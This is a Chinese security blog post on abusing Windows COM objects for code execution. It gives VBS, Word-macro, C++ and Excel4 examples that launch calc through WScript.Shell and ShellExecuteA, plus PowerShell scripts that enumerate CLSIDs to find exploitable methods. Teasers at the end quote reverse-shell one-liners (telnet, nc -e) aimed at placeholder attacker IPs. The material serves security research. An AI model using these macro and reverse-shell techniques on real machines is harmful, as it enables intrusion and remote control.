<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    COM 對象的利用與挖掘

    Simon2021-07-14 09:21:02

    COM對象簡述

    COM(微軟組件對象模型),是一種獨立于平臺的分布式系統,用于創建可交互的二進制軟件組件。 COM 是 Microsoft 的 OLE (復合文檔) 和 ActiveX (支持 Internet 的組件) 技術的基礎技術。

    注冊表項:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID下,包含COM對象的所有公開的信息,圖中顯示了Wscript.Shell對象在注冊表中的信息:


    其中{72C24DD5-D70A-438B-8A42-98424B88AFB8}就是該對象的CLSID。如果將COM對象比作人的話,CLSID就相當于身份證號,每個COM對象的CLSID都是唯一且不重復的。當然,如果只有身份證號,會有很多不方便的情況,于是便有自己的名字。那么COM對象中的ProgID就相當于它的名字,圖中的COM對象ProgID為WScript.Shell.1:


    而InProcServer32表示該COM對象位于哪個PE文件中,圖中表示WScript.Shell對象位于C:\Windows\System32\wshom.ocx中:


    有了上述的信息后,接下來便可以通過這些信息去使用COM對象了。

     

    COM對象的利用

    COM對象可以通過腳本語言(VBS、JS)、高級語言(C++)和powershell創建。接下來分別介紹這三種創建方式。

    腳本語言創建COM對象

    通過腳本語言,我們可以很輕易的創建一個COM對象,使用VBS創建Wscript.Shell對象:

    Dim Shell
    Set Shell = CreateObject("Wscript.Shell")
    Shell.Run "cmd /c calc.exe"
    

    運行效果如圖:


    CreateObject方法使用COM對象的ProgID:Wscript.Shell來創建對象,創建完成后便能調用該對象的Run方法通過cmd起calc。除了使用ProgID,還可以使用Wscript.Shell對象的CLSID來創建:

    Dim Shell
    Set Shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    Shell.Run "cmd /c calc.exe"
    

    這種方法的好處是當想要創建的COM對象沒有ProgID時,便可以通過CLSID進行創建。接下來對CVE-2016-0189[2]的EXP進行改造,將EXP中如下vbs代碼替換成創建Wscript.Shell即可。

    替換前:

    ' Execute cmd
    Set Object = CreateObject("Shell.Application")
    Object.ShellExecute "cmd"
    

    替換后:

    ' Execute cmd
    Dim Shell
    Set Shell = CreateObject("Wscript.Shell")
    Shell.Run "cmd /c calc.exe"
    

    最終實現效果:


    接下來講述COM對象在Office宏中的利用,以Office2019為例,在word文檔中創建如下宏代碼:

    Sub AutoOpen()
    Dim Shell
    Set Shell = CreateObject("Wscript.Shell")
    Shell.Run "cmd /c calc.exe"
    End Sub
    

    打開文件后,會提示宏已被禁用:


    點擊啟用宏后,使用cmd起計算器:


    用法和IE中一致,就不再贅述了。

    通過高級語言創建COM對象

    如果想通過高級語言(這里以C++為例)使用COM對象的話,必須要明白微軟定義的COM三大接口類:IUnknown[3]IClassFactory[4]IDispatch[5]

    參考COM三大接口:IUnknown、IClassFactory、IDispatch[6]一文。COM規范規定任何組件、任何接口都必須從IUnknown繼承,IUnknown內包含3個函數:QueryInterface、AddRef和Release。QueryInterface用于查詢組件實現的其它接口,AddRef用于增加引用計數,Release用于減少引用計數。根據本人的理解,QueryInterface用來獲取IClassFactory類的的接口,AddRef和Release用于控制裝載后InProcServer32所在PE文件的生命周期。當引用計數大于0時,內存中始終存在一個PE文件可以創建COM對象,當引用計數等于0時,系統會將內存中的PE文件釋放掉,也就無法對該COM對象進行任何操作了。

    IClassFactory的作用是創建COM組件,通過類中CreateInstance函數即可創建一個可以使用的COM對象。有了對象還不夠,必須要使用對象中的各種函數來執行功能,于是便要使用IDispatch接口類來獲取函數和執行函數。

    IDispatch叫做調度接口,IDispatch類中的GetIDsOfNames函數可以通過IClassFactory創建的COM對象的函數名獲取對應的函數ID(IID),通過這個ID就可以使用IDispatch類中的Invoke函數來執行COM對象中方法。最后將相關的資源使用IUnknown->Release函數釋放,即可完成一次完整的COM對象調用過程。圖中所示就是具體的實現流程:


    不過在實際使用中,并不會直接使用IUnknown接口類的函數,因為極易因為程序員的疏忽忘記釋放一個接口或者多釋放一個接口導致錯誤,因此使用圖中函數CoCreateInstance就能直接創建一個類的接口。也就是說一個函數封裝了IUnknown類和IClassFactory類的功能,能夠簡化流程。

    下面是創建WScript.Shell對象,使用Run方法起powershell的完整代碼:

    #define _WIN32_DCOM
    using namespace std;
    #include <comdef.h>
    
    #pragma comment(lib, "stdole2.tlb")
    
    int main(int argc, char** argv)
    {
        HRESULT hres;
    
        // Step 1: ------------------------------------------------
        // 初始化COM組件. ------------------------------------------
    
        hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    
        // Step 2: ------------------------------------------------
        // 初始化COM安全屬性 ---------------------------------------
    
        hres = CoInitializeSecurity(
            NULL,
            -1,                          // COM negotiates service
            NULL,                        // Authentication services
            NULL,                        // Reserved
            RPC_C_AUTHN_LEVEL_DEFAULT,   // Default authentication 
            RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
            NULL,                        // Authentication info
            EOAC_NONE,                   // Additional capabilities 
            NULL                         // Reserved
        );
        // Step 3: ---------------------------------------
        // 獲取COM組件的接口和方法 -------------------------
        LPDISPATCH lpDisp;
        CLSID clsidshell;
        hres = CLSIDFromProgID(L"WScript.Shell", &clsidshell);
        if (FAILED(hres))
            return FALSE;
        hres = CoCreateInstance(clsidshell, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (LPVOID*)&lpDisp);
        if (FAILED(hres))
            return FALSE;
        LPOLESTR pFuncName = L"Run";
        DISPID Run;
        hres = lpDisp->GetIDsOfNames(IID_NULL, &pFuncName, 1, LOCALE_SYSTEM_DEFAULT, &Run);
        if (FAILED(hres))
            return FALSE;
        // Step 4: ---------------------------------------
        // 填寫COM組件參數并執行方法 -----------------------
        VARIANTARG V[1];
        V[0].vt = VT_BSTR;
        V[0].bstrVal = _bstr_t(L"cmd /c calc.exe");
        DISPPARAMS disParams = { V, NULL, 1, 0 };
        hres = lpDisp->Invoke(Run, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &disParams, NULL, NULL, NULL);
        if (FAILED(hres))
            return FALSE;
        // Clean up
        //--------------------------
        lpDisp->Release();
        CoUninitialize();
        return 1;
    }
    

    步驟一、二都是用來初始化調用COM對象,步驟三使用了CoCreateInstance創建了WScript.Shell對象的IDispatch類接口,使用GetIDsOfNames函數獲得了Run函數的ID。步驟四通過函數ID使用Invoke函數執行了Run方法起calc,最終運行的效果和IE的EXP一致,這里就不再展示了。

    那么,如此復雜的方式相比VBS有什么好處呢?那就是可以將C++代碼通過shellcode生成框架轉化為shellcode,生成后的shellcode比VBS能用在更多的地方,更加靈活,至于如何將代碼轉換成shellcode本文就不再講述了。

    通過powershell創建COM對象

    接下來就是最后一種創建COM對象的方式:使用powershell創建COM對象。使用powershell一樣可以分別通過ProgID和CLSID創建,通過$shell = [Activator]::CreateInstance([type]::GetTypeFromProgID("WScript.Shell"))命令即可通過ProgID創建WSH對象,而通過$shell = [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))則可以通過CLSID創建,下圖是通過CLSID創建后的效果:


    通過這種創建COM對象的方式,我們便可以編寫powershell腳本進行COM對象的遍歷了,獲取計算機中大部分COM對象的方法和屬性了。

     

    COM對象的挖掘

    這部分的內容參考了FIREEYE的研究進行,利用powershell腳本遍歷COM對象的方式成功挖掘到一種利用方式,故此分享。

    已公開COM對象利用挖掘

    首先需要遍歷系統中所有COM對象的CLSID,于是編寫powershell腳本,將CLSID輸出到txt文本中:

    New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
    Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt
    

    生成的clsid.txt如圖所示:


    接著利用這些clsid通過powershell創建對應的COM對象,并且使用Get-Member方法獲取對應的方法和屬性,并最終輸出到文本中,pwoershell腳本如下:

    $Position  = 1
    $Filename = "clsid-members.txt"
    $inputFilename = "clsids.txt"
    ForEach($CLSID in Get-Content $inputFilename) {
          Write-Output "$($Position) - $($CLSID)"
          Write-Output "------------------------" | Out-File $Filename -Append
          Write-Output $($CLSID) | Out-File $Filename -Append
          $handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
          $handle | Get-Member | Out-File $Filename -Append
          $Position += 1
    }
    

    腳本運行期間可能會打開各種軟件,甚至會退出,需要截取clsid重新運行。運行后的文本內容為:


    通過搜索關鍵詞:execute、exec、和run,能夠發現不少可以利用的COM對象。本人由于在研究宏相關的COM利用,于是嘗試了關鍵字ExecuteExcel4Macro,結果意外的收獲到了COM對象Microsoft.Office.Interop.Excel.GlobalClass:


    于是使用ExecuteExcel4Macro函數加載shell32.dll中的ShellExecuteA成功起calc:

    Sub Auto_Open()Set execl = GetObject("new:00020812-0000-0000-C000-000000000046")execl.ExecuteExcel4Macro ("CALL(""shell32"", ""ShellExecuteA"", ""JJJCJJH"", -1, 0, ""CALC"", 0, 0, 5)")End Sub
    


    未公開COM對象利用挖掘

    對于已經公開的COM對象挖掘較為容易,當面對未公開的COM對象時,就需要通過逆向挖掘利用。比如位于C:\windows\system32\wat\watweb.dll中的WatWeb.WatWebObject對象公開了一個名為LaunchSystemApplication的方法,在oleview中能看到需要3個參數:


    但僅憑這些信息無法確定該方法是否能起任意進程,于是逆向查看LaunchSystemApplication,由于有調試符號,因此可以直接定位到該方法:


    LaunchSystemApplication調用LaunchSystemApplicationInternal,進入查看發現調用了CreateProcess,有利用的可能:


    但是可以看到調用了IsApprovedApplication方法進行校驗,進入查看:



    發現需要校驗傳入的字符串為slui.exe,同時會將該字符串附加到系統路徑下,因此并不能隨意執行進程。盡管最終沒有利用成功,但是這種思路可以幫助分析其他未知的COM對象,挖掘到更多的利用方式。

     

    結論

    COM對象功能強大,靈活便捷,可以用于瀏覽器、腳本、Office宏、shellcode和powershell。通過powershell遍歷系統中的COM對象,結合逆向分析更有可能發現未公開的利用方式。

    更多內容請前往微信公眾號:天玄安全實驗室

     

    參考鏈接

    [1] FireEye-Hunting COM Objects

    [2] Github-Brian Pak-CVE-2016-0189-exploit

    [3] Microsoft-IUnknown接口說明文檔

    [4] Microsoft-IClassFactory接口說明文檔

    [5] Microsoft-IDispatch接口說明文檔

    [6] CSDN-COM三大接口:IUnknown、IClassFactory、IDispatch

    powershellshell
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    抓取域密碼哈希的各種工具集合。
    很早就想專門寫一篇關于內網的文章,一直沒有騰出空來,萬萬沒想到,寫下這篇文章的時候,竟然是我來某實驗室實習的時間段:)
    何為powershell執行策略PowerShell 是一個跨平臺的任務自動化解決方案,由命令行 shell、腳本語言和配置管理框架組成。PowerShell 在 Windows、Linux 和 macOS 上運行。 由于powershell有以下性質,往往受到管理員或者安全人員的青睞。
    由于powershell有以下性質,往往受到管理員或者安全人員的青睞。PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六種類型的執行策略。
    反彈Shell大全與原理
    2023-04-25 10:15:00
    reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。對方主機在局域網內,從外網無法直接訪問。對方主機上存在WAF,對主動連接發來的請求數據檢測嚴格,而對向外發出的請求不進行檢測或檢測較少。對方由于防火墻等限制,對方機器只能發送請求,不能接收請求。在滲透測試過程中,得到webshell后一般我們會反彈shell。反彈shell原理A主機開啟9090端口的tcp服務
    是Linux中的一個特殊設備,打開這個文件就相當于發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。telnet反彈nc -lvvp 444 #攻擊者主機上執行監聽rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目標主機上執行。監聽兩個端口分別用來輸入和輸出,其中x.x.x.x均為攻擊者ip反彈shell成功后,在監聽4444端口的終端中執行命令可以在另一個終端中看到命令執行結果。 nc反彈nc -lvvp portnc -e /bin/bash x.x.x.x port
    GuLoader_VBS惡意加載器分析報告
    Simon
    暫無描述
      亚洲 欧美 自拍 唯美 另类